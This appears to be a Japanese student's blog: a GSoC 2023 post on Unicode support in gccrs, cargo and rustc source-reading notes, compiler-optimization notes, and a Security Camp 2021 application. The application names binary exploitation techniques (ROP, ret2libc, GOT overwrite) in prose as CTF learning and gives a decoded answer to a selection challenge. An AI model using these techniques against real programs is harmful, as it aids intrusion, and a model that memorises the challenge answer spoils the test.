GSoC2023 (GCC) に参加します

TL;DR

  • Google Summer of Codeに提出したproposalが採択されました
  • GCCのRustフロントエンドに対するUnicodeサポートを追加します

GSoCとは

Google が毎年夏休みに主催する主に学生(※1)向けのプログラムです。学生は GSoC に参加するOSS組織にプロジェクトの提案書を送り、無事採択されれば、各組織のメンターの下、約12週間の間オープンソースの開発を行います。年度、居住国によりますが、中規模、大規模なプロジェクトに対して、それぞれ 2700USD、5400USD の報酬がもらえます。

※1: 最近では学生以外でも応募する資格があります

私のプロジェクトについて

GCC は C や C++ をはじめとして、様々な言語のフロントエンドが存在します。その中の一つに Rust フロントエンド (gccrs) があります。既存の Rustc を用いずにコンパイラ自体をコンパイルするためにソースコードC++ で書かれています。

私のプロジェクトの主な目的は、GCC の Rust フロントエンドが Unicode の識別子をコンパイルできるようにすることです。最近のプログラミング言語の識別子は UAX#31 に準拠していることが多く、ACII 以外の Unicode 文字を使うことができます。そのため、このプロジェクトでは構文解析器 (parser) と字句解析器 (lexer) を中心にソースコードに手を加えることになりますが、Rustコンパイラに要求される識別子の正規化や一部の属性に対する追加のチェックも実装する必要があります。さらに、name mangling などバックエンドに近いところまで影響が波及し、とても面白いプロジェクトだと思います。

採択されるまで

昨年の11月に初めてコントリビュートしました。最初はチームの方々に、IRCでビルドやエディタの設定などを教えてもらいながらやったことを覚えています。それまでC++を全く書いたことがなかったので、勉強のためにリンカを自作したりもしました。C++やコードベースに少しずつ慣れてきたら、ちゃんとした大きさのパッチにも取り組みました。

今年の2月にGCCのアイデアリストが公開されたので、2月中にproposalを大体書き終えて、メンターの方にレビューを頂きました。3月はGCCメーリングリストにproposalを投げて、開発者の方々から頂いた意見などをもとに修正を行いました。最後に英語のライティングにあまり自信がなかったので、学科のガチプロである @southball さんに校正をしてもらいました。(本当にありがとうございます。)

今後応募する方に向けて

私の proposal は以下にあります。個人的にアイデアの技術的な詳細や見通しのよい細かい計画を書くこととメンターとコミュニケーションを取ることが大切だと感じました。他に、私はCVに過去のOSSコントリビューションについても記載しましたが、これも書いておいたほうが良いと思います。

docs.google.com

過去に GSoC に参加された方が公開している proposal もとても参考になりました。

さいごに

2回の evaluation を通せるように頑張ります!

rust-lang/cargo ソースコードリーディング

はじめに

cargoにはバイナリの名前をパッケージ名と異なるものにする機能がある。 この機能はcargo-feature different_binary_nameという。

Cargo.tomlに以下を追記すると、cargo buildで出力されるバイナリはpiyoになる。

[[bin]]
name = "piyo"
path = "src/piyo.rs"

この機能は以下のIssueで提案され採用された。

基本事項

この記事はこのPRをもとにrust-lang/cargoのソースコードを読んでわかったことをまとめたものである。もともと自分用メモだったので、汚いのはご容赦ください、

まず、ファイル名の出力に関しての基本事項を以下に示した。これはコードを読み進めてわかったことだが、本記事ではこれらをもとにソースコードを見ていく。

  • Target構造体: 全体のconfig情報を管理する
  • OutputFile構造体: 出力ファイルごとに作られる構造体
    • 出力先パスの情報
    • ハードリンクに関する情報

PRで提案された手法

  • Cargo.tomlからバイナリ名を取得
  • バイナリ名が指定されていない => 従来通り、パッケージ名を使う。
  • バイナリ名指定あり => Target構造体にそのバイナリ名を持たせる

ハードリンクに関して

cargo buildすると、バイナリはtarget/debugに作られるが、バイナリの実体はそれより下の階層(target/debug/depsなど)にある。 targetの階層につくられるバイナリは実はハードリンクである。

実際に読む

Targetはバイナリやライブラリの情報を一括してもつ。 Target.bin_namedifferent_binary_nameを実現するためにあるフィールド。

// src/cargo/core/manifest.rs

// Information about a binary, a library, an example, etc. that is
// part of the package.
pub struct Target {
    inner: Arc<TargetInner>,
}

struct TargetInner {
    kind: TargetKind,
    name: String,
    // Note that `bin_name` is used for the cargo-feature `different_binary_name`
    // Some(..)ならば、[[bin]]でバイナリ名が指定されている
    // Noneならば、バイナリ名が指定されていない
    bin_name: Option<String>,
    // Note that the `src_path` here is excluded from the `Hash` implementation
    // as it's absolute currently and is otherwise a little too brittle for
    // causing rebuilds. Instead the hash for the path that we send to the
    // compiler is handled elsewhere.
    src_path: TargetSourcePath,
    required_features: Option<Vec<String>>,
    tested: bool,
    benched: bool,
    doc: bool,
    doctest: bool,
    harness: bool, // whether to use the test harness (--test)
    for_host: bool,
    proc_macro: bool,
    edition: Edition,
}

pub enum TargetKind {
    Lib(Vec<CrateType>),
    Bin,
    Test,
    Bench,
    ExampleLib(Vec<CrateType>),
    ExampleBin,
    CustomBuild,
}

pub fn bin_target(
        name: &str,
        bin_name: Option<String>,
        src_path: PathBuf,
        required_features: Option<Vec<String>>,
        edition: Edition,
) -> Target {
    ...
}

impl Target {
    ...
    // バイナリの名前を返すメソッド
    pub fn binary_filename(&self) -> Option<String> {
        self.inner.bin_name.clone()
    }
    
    // バイナリの名前をセットするメソッド
    pub fn set_binary_name(&mut self, bin_name: Option<String>) -> &mut Target {
        Arc::make_mut(&mut self.inner).bin_name = bin_name;
        self
    }
    ...
}

以下は関連するコード tomlで渡されたfilenameをTarget構造体に渡す。

// src/cargo/util/toml/targets.rs

fn clean_bins(
    features: &Features,
    toml_bins: Option<&Vec<TomlBinTarget>>,
    package_root: &Path,
    package_name: &str,
    edition: Edition,
    autodiscover: Option<bool>,
    warnings: &mut Vec<String>,
    errors: &mut Vec<String>,
    has_lib: bool,
) -> CargoResult<Vec<Target>> {
    ...
    let mut target = Target::bin_target(
            &bin.name(),
            bin.filename.clone(),
            path,
            bin.required_features.clone(),
            edition,
        );
    ...
}

出力するバイナリの名前を決定する関数。 重要なのはSomeとNoneの場合分け。

// src/cargo/core/compiler/build_context/target_info.rs

/// The filename for this FileType that Cargo should use when "uplifting"
/// it to the destination directory.
pub fn uplift_filename(&self, target: &Target) -> String {
    let name = match target.binary_filename() {
        // [[bin]]でバイナリの名前が指定されているのでそれを使う
        Some(name) => name,
        // パッケージ名をバイナリの名前に使う
        None => {
            // For binary crate type, `should_replace_hyphens` will always be false.
            // 名前に含まれるハイフンを処理する
            if self.should_replace_hyphens {
                target.crate_name()
            } else {
                target.name().to_string()
            }
        }
    };
    format!("{}{}{}", self.prefix, name, self.suffix)
}

次にハードリンクについて。 本PRでコードの修正は入ってないが、参考のために載せておく。

uplift_to関数: Option<PathBuff>型を返す 戻り値はSome(path)なら、pathにハードリンクを作る、Noneなら、ハードリンクを作らないことを意味する。

calc_outputs_rustc関数: CargoResult<Vec<OutputFile>>型を返す。 戻り値はrustcが必要とする出力ファイルの情報をもつ。

// src/cargo/core/compiler/context/compilation_files.rs

impl<'a, 'cfg: 'a> CompilationFiles<'a, 'cfg> {
    ...
    /// Returns the path where the output for the given unit and FileType
    /// should be uplifted to.
    ///
    /// Returns `None` if the unit shouldn't be uplifted (for example, a
    /// dependent rlib).
    fn uplift_to(&self, unit: &Unit, file_type: &FileType, from_path: &Path) -> Option<PathBuf> {
        ...
    }

    // rustcによって作成されたファイル情報を出力する
    /// Computes the actual, full pathnames for all the files generated by rustc.
    ///
    /// The `OutputFile` also contains the paths where those files should be
    /// "uplifted" to.
    fn calc_outputs_rustc(
        &self,
        unit: &Unit,
        bcx: &BuildContext<'a, 'cfg>,
    ) -> CargoResult<Vec<OutputFile>> {
        ...
        // Convert FileType to OutputFile.
        let mut outputs = Vec::new();
        for file_type in file_types {
            let meta = &self.metas[unit];
            let meta_opt = meta.use_extra_filename.then(|| meta.meta_hash.to_string());
            let path = out_dir.join(file_type.output_filename(&unit.target, meta_opt.as_deref()));

            // ハードリンクで参照する名前を取得
            // If, the `different_binary_name` feature is enabled, the name of the hardlink will
            // be the name of the binary provided by the user in `Cargo.toml`.
            let hardlink = self.uplift_to(unit, &file_type, &path);
            let export_path = if unit.target.is_custom_build() {
                None
            } else {
                self.export_dir.as_ref().and_then(|export_dir| {
                    hardlink
                        .as_ref()
                        .map(|hardlink| export_dir.join(hardlink.file_name().unwrap()))
                })
            };
            outputs.push(OutputFile {
                path,
                hardlink,
                export_path,
                flavor: file_type.flavor,
            });
        }
        Ok(outputs)
    }
    ...
}

cargoが最終的に生成するOutputFile構造体はこんな感じで定義されている。

// src/cargo/core/compiler/context/compilation_files.rs

pub struct OutputFile {
    /// Absolute path to the file that will be produced by the build process.
    pub path: PathBuf,
    /// If it should be linked into `target`, and what it should be called
    /// (e.g., without metadata).
    pub hardlink: Option<PathBuf>,
    /// If `--out-dir` is specified, the absolute path to the exported file.
    pub export_path: Option<PathBuf>,
    /// Type of the file (library / debug symbol / else).
    pub flavor: FileFlavor,
}

感想

PRを読むのは勉強になる。 インクリメンタルコンパイルのためのfingerprintという機能があるらしいが、それがどのようなものか、どのようにcargoで処理されているか気になった。

Ref

Rustコンパイラのソースコードリーディング

これはKMC(京大マイコンクラブ)アドベントカレンダー2021 の3日目の記事です。

昨日の記事はうたがわききさんの「List::Utilのpairs関数がPythonで欲しくなって」でした。

はじめに

こんにちは。一回生のたまろんです。最近は言語処理系を読んだり書いたりしています。

この記事では、コンパイラを読んだことがない人を対象に、Rustコンパイラ(rustc)のソースコードを解説します。 Rustは性能、メモリ安全性、安全な並行性を目指して設計されたマルチパラダイムプログラミング言語です。近年注目を集めている言語でLinux, npm, Dropboxなどに採用されています。

コンパイラの処理

rustcはバックエンドにLLVMを使っています。rustcはソースコードLLVM-IRになるまでに以下の5つの形に変換します。

そして、次の過程によって変換 (+解析) が行われます。

  1. トークナイズ (ソースコードトークン列)
  2. パース (トークン列 → AST)
  3. マクロ展開, ASTの検証、型検査 (AST → THIR/HIR)
  4. Lowering (HIR → MIR)
  5. コード生成 (MIR → LLVM-IR)

rustcのソースコードは以下にあります。

github.com

ディレクトリは以下の通り

  • compiler : rustc本体
  • library : 標準ライブラリ
  • src : テストスイート、rustdocなど

この記事ではcompilerフォルダ以下のコンパイラドライバ、レクサー、パーサーを中心に見ていきます。

DriverとInterfaceまわり

rustcの実質的なエントリーポイントはコンパイラドライバのクレート (/compiler/rustc_driver) のmain関数です。 main関数から、RunCompiler.run関数が呼び出され、その内部で以下のinterface::run_compiler関数が呼び出されます。

rustc_interfaceクレートはrustcをライブラリとして使うときのコンパイラのエントリーポイントになります。(理由は外部からサードパーティ製の解析や最適化をかけるため)

pub fn main() -> ! {
    ...
    let exit_code = catch_with_exit_code(|| {
        let args = env::args_os()
            .enumerate()... ;
        // run内部で以下のrun_compiler関数が呼び出される
        RunCompiler::new(&args, &mut callbacks).run()
    });
    ...
    process::exit(exit_code)
}
pub fn run_compiler<R: Send>(mut config: Config, f: impl FnOnce(&Compiler) -> R + Send) -> R {
    tracing::trace!("run_compiler");
    ...
    // configからCompiler構造体を作りクロージャ内に渡す
    interface::run_compiler(config, |compiler| {
        ...
        let linker = compiler.enter(|queries| {
            let early_exit = || sess.compile_status().map(|_| None);
            // パースを行うクエリを起動する
            queries.parse()?;
            ...
        })
    ...
}

このrustc_driver::run_compiler関数では第一引数のconfigからCompiler構造体を作り、第二引数のクロージャに渡しています。configにはコマンドライン引数や出力ファイル名といったコンパイラの設定情報が入っています。

また、注目すべき箇所はqueries.parse()?の行です。これは要求駆動コンパイルの処理の一部になっています。この関数を追っていくと、rustc_parser::parse_crate_from_file関数にたどり着きますが、ここで実際にソースコードのパースが行われます。

要求駆動コンパイル

要求駆動コンパイルは、メモ化を利用した高速なコンパイル方法です。クエリを使うことで差分に注目するインクリメンタルなコンパイルが可能になります。

クエリは入力に対して、何かを計算して出力します。 例えば type_of クエリはあるアイテムの def_id が与えられるとそのアイテムの型を計算します。

例えば、実際のコンパイル全体はクエリ駆動になります。

  1. トップレベルの compile クエリがコード生成の必要があるモジュールのリスト (codegen-units)を取得する
  2. codegen-units のリストを計算する際に、ソースコードで定義されているすべてのモジュールのリストを返すクエリがさらに呼び出される
  3. 呼び出されたクエリによって、さらにクエリを呼び出される
  4. 以下繰り返し

ParserとLexer

パーサー (/compiler/rustc_parser/src/parser) では、Parser構造体に対して実装されているparse_xxxxの名前の関数がxxxxをパースします。(例えばparse_stmt, parse_exprはそれぞれ文と式をパースします。)

レクサー (/compiler/rustc_parser/src/lexer) は内部で別のrustc_lexerクレートを使っていて、このクレートで文字列のパターンマッチを行います。 (以前は同じクレートだったけど、ライブラリ化するために分けたそうです。)

次のcook_lexer_token関数はrustc_lexerクレートのトークンをrustc_parserで扱うためのトークンに変換しています。

fn cook_lexer_token(&self, token: rustc_lexer::TokenKind, start: BytePos) -> Option<TokenKind> {
        Some(match token {
            ....
            rustc_lexer::TokenKind::Semi => token::Semi, // ;
            rustc_lexer::TokenKind::Comma => token::Comma, // ,
            rustc_lexer::TokenKind::Dot => token::Dot, // .
            ...
            rustc_lexer::TokenKind::Lifetime { starts_with_number } => {
                let lifetime_name = self.str_from(start);
                if starts_with_number {
                    self.err_span_(start, self.pos, "lifetimes cannot start with a number");
                }
                // String Interningを行う
                let ident = Symbol::intern(lifetime_name);
                token::Lifetime(ident)
            }
            ...
    })
}

また、レクサーは同時にString Interningを行います。これは、コンパイル時のメモリを節約するためのテクニックです。 一つの文字列に対して一つのポインタを対応させます。同じ文字列が同じ場所を指し、異なる文字列が異なる場所を指すようにすることで、文字列の長さの分だけメモリの使用量が削減できます。

先ほどのコードではlet ident = Symbol::intern(lifetime_name);の行でライフタイム名を対象にしたString Interningが行われています。

パースが終了したら、interface::run_compiler関数で新たなクエリが呼び出され、次のステップへと進みます。

おわりに

rustcのソースコードは巨大でざっくり読もうとするだけでも時間がかかりました。僕はまだ読み始めたばかりですが、rustc dev guideなどドキュメントが充実していてとても読みかったです。これからは、ASTや型まわりを中心に読んでいって、時間があれば記事にまとめたいと思います。

明日のカレンダーの記事はそすうぽよさんの「数え上げお姉さんよ永遠なれ」です

コンパイラ最適化を実装する

自作したインタプリタにいくつかのコンパイラ最適化を実装したので、そのときのメモを残しておく。

作ったもの

github.com

入力したプログラムは以下の順で処理される。

  1. Lex : プログラムをトークン列に変換
  2. Parse : トークン列を中間表現に変換
  3. Optimize : 中間表現に手を加えて最適化する
  4. Execute : 中間表現を実行する

このインタプリタでは構文木を介さずにトークン列から直接的に中間表現に変換している。中間表現はLLVM IRのサブセットに近い。

以下ではOptimizeについて詳しく見ていく

コンパイラ最適化とは

コンパイル過程において中間表現/構文木をより良い中間表現/構文木に変換すること。

主な目的は

  • 命令数が少ない (バイナリのサイズを減らす)
  • 実行速度を速くする

LLVMGCCなどが有名。

アプローチ

最適化を行うためには、まず中間表現全体の静的な解析が必要。

静的解析は以下の二つにわけられる。

  • 制御フロー解析 (Control-flow analysis)
  • データフロー解析 (Data-flow analysis)

制御フロー解析

プログラムを基本ブロック(Basic block)と辺(Edge)からなる有向グラフに変換する。 基本ブロック内では、前から後ろに一直線に処理が走る。辺には基本ブロック間の処理の移動を表す。 基本ブロックの最後に、条件分岐や無条件分岐がある場合は、その場所から別の基本ブロックへ辺が作られる。(条件分岐では一つのノードから二本の辺が出ることになる) こうしてできたグラフを制御フローグラフ(Control-flow graph: CFG)という。

データフロー解析

具体的な最適化を行うために必要な情報を、制御フローグラフを用いて収集する。

例えば、あるノードa = x に対して定数伝播/畳み込み(後述)を行う場合、 x が定数であるという情報が必要である。この場合は、どのような制御フローを介してノードに到達しても、必ずそのノードでは x=C で一定であることを証明することになる。

一般的にサイクリックな制御フローの解析は難しい。

実際に実装した最適化

  • 覗き穴最適化 (Peekhole Optimization)
  • 定数伝播 (Constant Propagation)
  • 定数畳み込み (Constant Folding)
  • 到達不可能コードの削除

覗き穴最適化

以下のような変換を行う。

before

goto A;
A:
goto B;
B:
/* 何らかの処理 */ 

after

goto B;
A:
goto B;
B:
/* 何らかの処理 */

まず、1行目のgoto Aを見る。ジャンプ先Aではさらに無条件分岐goto Bが呼ばれているので、goto Aの最終的なジャンプ先はBである。 goto Agoto Bで置き換えられる。

同様に、3行目のgoto Bの最終的なジャンプ先はBだが、これは命令を置き換えなくても済む。

実装

制御フローグラフを構築しなくてもよく、分岐先を再帰的に辿ることでできる。ただし、A: goto Aのように循環する場合を検出する必要がある。

定数伝播 &定数畳み込み

定数伝播と定数畳み込みはコンパイル時に定数を計算するためのテクニックである。 以下のような置き換えを行う。

before

a = 2;
b = a * 3;
c = b + 4;

after

a = 2;
b = 6;
c = 10;

この場合は、以下のステップごとに行われる。

  1. 1行目: a = 2は定数
  2. 2行目: a は 2 で置き換える (伝播)
  3. 2行目: b = 2 * 3 = 6 を計算する (畳み込み)
  4. 3行目: b = 6 で置き換える (伝播)
  5. 3行目: c = 6 + 4 を計算する (畳み込み)

実装

上の例では処理が上から下に一直線に行われる、つまり基本ブロック内で行われる最適化である。この場合、変数と値のテーブルを使うことで簡単に実装ができる。

一方で複雑な制御フローが絡む大局的な定数伝播はもっと難しい。制御フローグラフの各ノードごとに変数と値のテーブルを持たせることで、効率的に行うことができる。詳しくは[ref1]を見てほしい。

到達不可能コードの削除

以下の変換をする最適化である。

before

goto A;
a = 10;
A:

after

goto A;
A:

2行目のa = 10は必ず実行されない命令(到達不可能コード)だから、削除することでバイナリのサイズを減らすことができる。もちろん、ここからさらに、goto A; A:を削除することもできる。

実装

制御フローグラフの各ノードに対して、到達可能を表すboolean値を持たせる。制御フローグラフのエントリーポイントからグラフの全探索を行い、到達したノードのboolean値を trueにする。最後にfalseなノードを削除する。

 参考

セキュリティキャンプ2021応募課題

セキュリティキャンプ全国大会2021に参加することになりました。応募用紙を書くにあたって、先人たちの応募用紙晒しが役立ったので、僕も応募課題を晒します。
冗長なところとかは一部省略してます。


セキュリティ・キャンプ全国大会2021 脅威解析トラック 応募課題

以下の問1~問8について、それぞれ5,000文字以内で回答してください。
なお、正解がある設問については、"正解していること"よりも"正解にたどり着くまでのプロセスや熱意"を重要視しています。答えにたどり着くまでの試行錯誤や自分なりの工夫等を書いて、精一杯アピールしてください。

問1

あなたがセキュリティ・キャンプ全国大会に応募する理由を教えてください。受講生や講師とのコミュニケーション、受講したい講義、なりたい自分など、何でも構いません。

<私について>
 (略)
<応募理由>
 私はセキュリティキャンプに参加したい一番の理由は、低レイヤの理解を深めつつ、自分の知らない分野にも手を広げたいからです。セキュリティキャンプの各トラックの説明を眺める中、脅威解析トラックに目が止まり、マルウェアがネットワーク、アセンブリ、OSなど色んな技術と深く関わりをもつことを知りました。先に述べたように、私は偶然セキュリティという分野にであって興味をもちました。そのため、全く知らないマルウェアの分野について学ぶことで、他の分野に興味が向き、コンピュータをもっと深く理解することができると思います。また、自分の知らない分野を得意としている人たちと繋がり、人脈を広げたいです。

<とくに受講したい講義>
 正直なところすべての講義がとても楽しそうですが、特に、「C2 痕跡から手がかりを集める - アーティファクトの発見/分析技術」に参加したいです。坂井さんのバイナリかるたで、ビットマップの色とフォーマットに視覚的な関係があることを知ったり、また、問7で調べたNTFSフォーマットのようなファイルシステムの仕組みを調べる中でバイナリやファイルフォーマットに興味を持ちました。この講義では、フォーマットについてより深い知識を得ることに加えて、犯罪操作などに使われる実践的なデジタルフォレンジックスの手法を学ぶことができると思うので、参加することができれば、とても楽しみです。

問2

今までに解析したことのあるソフトウェアやハードウェアにはどのようなものがありますか?解析の目的や解析方法、結果として得られた知見などを含めて教えてください。

 CTFのpwnを勉強しており、ELFファイルをデバッグした経験があります。
 pwnは実行プログラムの脆弱性を発見して、ペイロードを送り込み、シェルを奪うことを目指す競技です。私は、ROP emporiumというサイトでpwnの基本的なテクニックを学びました。(いくつかの問題のwriteupは私のhatenablogにあります。)pwnの問題を解く時は静的解析→動的解析の順で行います。静的解析は主にstringやfileコマンドを用います。例えばstringコマンドでbin/lsがヒットすれば、内部でsystem(“/bin/ls”)を実行していることがわかります。問題によってはlibcが与えられる場合もあり、libc上system()のオフセットを用いて、ret2libcでシェルを奪うこともありました。動的解析は普段はgdb-pedaを使って行います。実行してレジスタやメモリの値を追うことはもちろん、関数を逆アセンブルして、処理の内容を予測したり、ROP gadgetを検索し、ROPを組み立てたりします。ROP emporiumではスタックBOFを起点とする攻撃が中心でした。ペイロードを作るときは、スタックの挙動を考えながら作ります。個人的にはStack Pivotが斬新でとても楽しかったです。また、攻撃手法だけでなくNX bitやRELROなどのセキュリティ機構についても学びました。例えばNX bitがオンの時はシェルコードを送り込むことはできません。RELROがNo RELROまたはPartial RELROのときは、.got.pltセクションを書き換えることで、RIPを奪うことができます。

問3

今までに作成したソフトウェアやハードウェアにはどのようなものがありますか?
どんな言語やライブラリ、パーツを使って作ったのか、どこにこだわって作ったのか、などたくさん自慢してください。

(0)自分のサイト
https://tamaroning.github.io/
HTMLとCSSでライブラリを使わずに作りました。特に工夫した点はないですが、デザインはフラットデザインを参考にして、コンパクトに作りました。

(1)小さなプログラム
(1-a)シューティングゲーム
(略)

(1-b)Twitterbot
(略)

(1-c)LINE bot
(略)

(1-d)離散フーリエ変換を用いたグラフ描画ソフト
デモ動画:

www.youtube.com

 高校2年の時、Processingで実装しました。動画のように、円盤を重ねて絵を描く動画をみたことがあり、どうやったら実装できるか勉強しました。このプログラムではまず、連続的な二次元の曲線を用意して、それを一つの変数についての媒介変数表示にします。さらに時間についてフーリエ変換することで、各円盤の半径が得られるという仕組みになっています。動画ではインボリュート曲線という円に紐を巻き付けたときにできる曲線を描いてみました。

(1-e)セルオートマトンによる雪の結晶
デモ動画:

www.youtube.com

 高校3年生Processingで実装しました。セルオートマトンとはライフゲームのように、マスで区切られた空間にルールを与えて、空間全体の時間発展を観察するものです。
このプログラムでは六角形のセルで雪の結晶の角(腕)の成長を再現しました。雪の結晶の成長を単純に再現しようとすると、雪のマスを1、雪のないマスを0で表現して、「隣接マスのうちKマス以上が1なら、次の世代でそのマスは1になる」というルールを作ればいいと思うのが普通だと思います。しかし、実はその方法だときめ細やかに成長する雪の結晶の角は再現できません。
例えば、
https://www.youtube.com/watch?v=jl5Yh4Kc5v0
上の動画でみられる結晶は1か0の表現を用いており、結晶の成長が単純、ワンパターンだと思います。そこで、論文や書籍を漁り、きめ細やかな角を作る方法を模索しました。セルの状態を1か0ではなく、0から1の実数値で表し、外部の気温の影響によって全てのセルの数値が徐々に変化する場を用意することで、美しい結晶の成長を実現しました。実際、この方法は現実の結晶の成長により近いと思います。

(2)パズルゲーム
(略)

(3)自作x86エミュレータ
(略)

問4

ここ数年に発表された、以下のキーワードに関連するニュースや記事や学術論文から1つ選び、それに関して調べた内容を記述してください。内容には、1.選んだ理由、2.技術的詳細、3.被害規模または影響範囲、4.対策、の4点を必ず含めてください。なお、対策は今ある技術のみに捕われず、将来的な技術や法律など、自由な発想で書いてください。
キーワード: - サイバーセキュリティインシデント - マルウェア - 攻撃キャンペーン - 脆弱性 - 新たな攻撃手法 - 未知の脅威 - 組み込みシステム

選んだ記事

“Control-flow Enforcement Technology Preview”, Intel Developer Zone
https://binpwn.com/papers/control-flow-enforcement-technology-preview.pdf

1. 選んだ理由

 問3を書いている時に、Intel Developer Zoneの”A Technical Look at Intel’s Control-flow Enforcement Technology”という記事を見つけ、隠しスタック以外のIndirect branch trackingという機能があることを知り興味を持ったため。また、自分の実装した単純な隠しスタックとCETのShadow Stackの相違点を知りたいと思ったから。

2. 技術的詳細

 Control-flow Enforcement Technology(CET)は以下の二つの機能をもつ。
・Shadow Stack: リターンアドレスを保護する
・Indirect branch tracking: 間接ジャンプを保護する
以下ではこの二つの機能についてマニュアルで得られた知識をもとに説明する。

2-1. Shadow Stack
(a)概要
 Shadow Stackはデータスタックとは別のリターンアドレスを保持しておくスタックである。まず、call命令実行時、データスタックとコールスタックの両方にリターンアドレスがプッシュされる。ret命令実行時、データスタックとコールスタックからそれぞれポップし、両者を比較する。もし相異なれば、制御保護例外シグナル(#CP)を発する。Shadow Stackのデータ領域はページテーブルによって’Shadow Stack’の属性が付与され、MOVなどのストア命令によって改竄されることはない。Shadow Stackをオーバーフロー、アンダーフローさせることはできない。さらに、新たなレジスタとしてSSP(Shadow Stack Pointer)レジスタがサポートされる。

 Far CALLとFar RETはコードセグメント間の異なる処理の呼び出しに使われである。これらの命令時、リターンアドレスに加えてCSとSSPがShadow Stackにプッシュ、ポップされる。異なる権限間のFar CALLではsupervisor shadow tokenの正当性の確認が行われる。また、CPL=3とCPL<3の間の遷移はMSRと呼ばれるスタックにSSPをプッシュ、ポップする。

(b)Shadow Stackの切り替え
 RSTORSSPとSAVEPREVSSPという2つの命令が用いられる。
 RSTORSSPはコンテキストの退避処理である。新たなShadow Stackを作成するとき、shadow stack restore tokenがプッシュされる。このトークンには以前のShadow StackのSSPなどが格納される。
 SAVEPREVSSPはコンテキストの復元処理である。Shadow stack restoreトークンから前のShadow StackのSSPをポップする。

(c)その他追加される命令
 他に追加される命令として以下がある。
INCSSP: SSPのインクリメント
RDSSP: SSPレジスタの内容を他の場所に読み込む
WRSS/WRUSS: Shadow Stackへ書き込む

2-2.Indirect Branch Tracking
 IBTはcontrol flow hijackingを防ぐための技術である。間接分岐をマークするためにENDBRANCH命令が使われる。CET未対応のマシンではNOPとして解釈されるため、CETを利用せずとも問題なくプログラムを実行することができる。
 jmpやcall命令実行時、ステートマシンはIDLEからWAIT_FOR_ENDBRANCHステートに切り替わる。WAIT_FOR_ENDBRANCHステートのとき、次の命令がENDBRANCHでない場合、#CP例外を発生させる。すなわち、間接分岐の分岐先アドレスが不正なアドレスに書き換えられていないかを検出することができる。

3. 影響範囲

 まず、わたしはCall-oriented programmingとJump-oriented programmingを知らなかったのでこれらについて調べてみた。Microsoft脆弱性対策ソフトEMET 3.5の根幹をなしていたROP guardという機構がある。ROP guardはCall Stackを辿ることで、不正にret命令が使われていないかチェックする。しかし、retをjmpで代用することでROP guardを回避することができる。また、COPはretやjmpの代わりにcallを用いたものである。例えば、call後にリターンアドレスをpopすることで、実質的にjmpと等価になる。
 Indirect Branch Trackingによって、間接分岐の分岐先が不正でないかをを検出することができ、COPやJOPを防止することができる。
 Shadow Stackは、ユーザーランドとカーネルランドにおいてリターンアドレスの書き換えを検知する。そのため、ROP以外のリターンアドレスを書き換える攻撃、例えばret2pltなども検出することができる。
 また、パフォーマンスのオーバヘッドはIBTはほとんど無いと言えるが、Shadow Stackの場合、例えば深さ優先探索などの再帰多用するプログラムではオーバヘッドが大きいと考えられる。

4. 対策、考察

 上で述べたように、Shadow StackとIBTはそれぞれ、ROPとJOP/COPの対策になっている。ここで、CETがオンのときの攻撃方法について考えてみる。ROP/COP/JOPはスタックBOFなどでリターンアドレスを書き換えることを攻撃の起点としている。つまり、プログラマが意図していないコードブロックの遷移はCETによって対策されるということである。そのため、RIPを奪うことはとても難しくなったと考えられる。一方でUse after Freeなどにより変数を書き換えることに対しては防衛策がないので、そのようなメモリの書き換えを起点とした攻撃の研究がより盛んになると思う。

問5

ブログや GitHub など、技術情報を公開している URL があれば教えてください。またその内容についてアピールすべきポイントがあれば記載してください。
(略)

問6

配布した6_decode.binは PE形式のプログラムであり、実行すると内部に保持したエンコードされたデータをデコードして表示します。6_decode.binを解析し、挙動などわかったことをまとめて解析レポートを作成してください。また、エンコードアルゴリズムを特定して、デコードスクリプトを作成し、次のデータを復号して回答してください。
"\x8d\x93\x13\x8a\x43\xb6\x59\x4d\x41\x80\x1b\x53\x02\x86\xf2\xed\x55\x55\x78\x59\x8b\x77\x35\x17\x56"
解析が最後までできたとしても、できなかったとしても、解析の手順、解析にあたり学習したこと、解析の過程で判明したことを文字数制限の範囲で自由に記述してください。

 回答は、<問の復号後データ>、<解析にあたり勉強したこと>、<解析の過程>、<解析レポート>に分割しました。

<問の復号後データ>
 問に記載されていたデータの復号後データは
D1d_y0u_$01v3_C0s70m_X0r?< です。

<解析にあたり勉強したこと>
 私は普段Macを使っているので、問6,問7はWindowsをパソコンにインストールするところから始めました。
Windowsのx64ではr8,r9やCDQ命令、MOVSXZ命令などを知らなかったので、解析にあたり、Windows API、x64アセンブリ、デバッガの使い方、ソースコード機械語の対応などを勉強しました。主に参考したのは、以下の5つの文献です。
(1)マルウェア解析チュートリアルマルウェア解析のはじめかた編>
https://www.mbsd.jp/research/20200910.html
(2)x86-64 命令の概要
https://www.mztn.org/lxasm64/amd06_sum.html
(3)Microsoft System Services
https://docs.microsoft.com/en-us/windows/win32/api/_base/
(4)x64での呼び出し規則
https://docs.microsoft.com/ja-jp/cpp/build/x64-calling-convention?view=msvc-160
(5)大熱血!アセンブラ入門, 坂井弘亮

 アセンブラ入門はソースコードアセンブリの対応の雰囲気を知るために読みました。これらに加えて、IDA Freeware, x64dbg, ollydbg, VisualStudio, PEファイルの構造も少し勉強しましたが、実際に解析に役に立ったのはIDAのみでした。それでも、周辺知識が得られたのはとてもよかったです。 また、解析を通じて、アセンブリコードをまとまりごとに読むことができるようになりました。エミュレータ開発ではとにかく1つの命令に集中していたので視野が広がったと思います。同時に、「プログラムの実行時にmain()の前にどのような処理が行われるか」と「メモリにどのようにして実行コードがロードされるか」の2つの疑問も生じました。

<解析の過程>
 Windowsのバイナリの解析をしたことがなく、見当違いのことを勉強したり、バイナリの見当違いの箇所を調べたりしました。また、エンコード箇所のアセンブリを読むのも、先頭から順当に進んだわけでなく、少しわかる箇所からよくわからない箇所の処理を推測したりしました。以下では、解析がどのように進展したか説明したいと思います。
 まず、課題ファイルに書いてある通り、実行すると内部のデータがデコードされて”This_is_decoded_text”という文字列が表示された。次にファイルをIDAで開いてみたが、どこがエンコードの処理なのかさっぱりわからなかった。IDAを眺めるうちに、FinfResourceW, SizeofResource, …, VirtualAllocといった関数を見つけ、それらがWindowsAPIの関数で、関数名や文献からデータ領域を確保するのだということがわかった。そして、その直後に確保したメモリアドレスやや”SECCAMP2021”というデータのアドレスや即値0x89192712を引数として、呼び出される関数があり、エンコードの処理ではないかとアタリをつけた。この関数の直後にMessageBox()を呼び出しているため、確証がもてた。
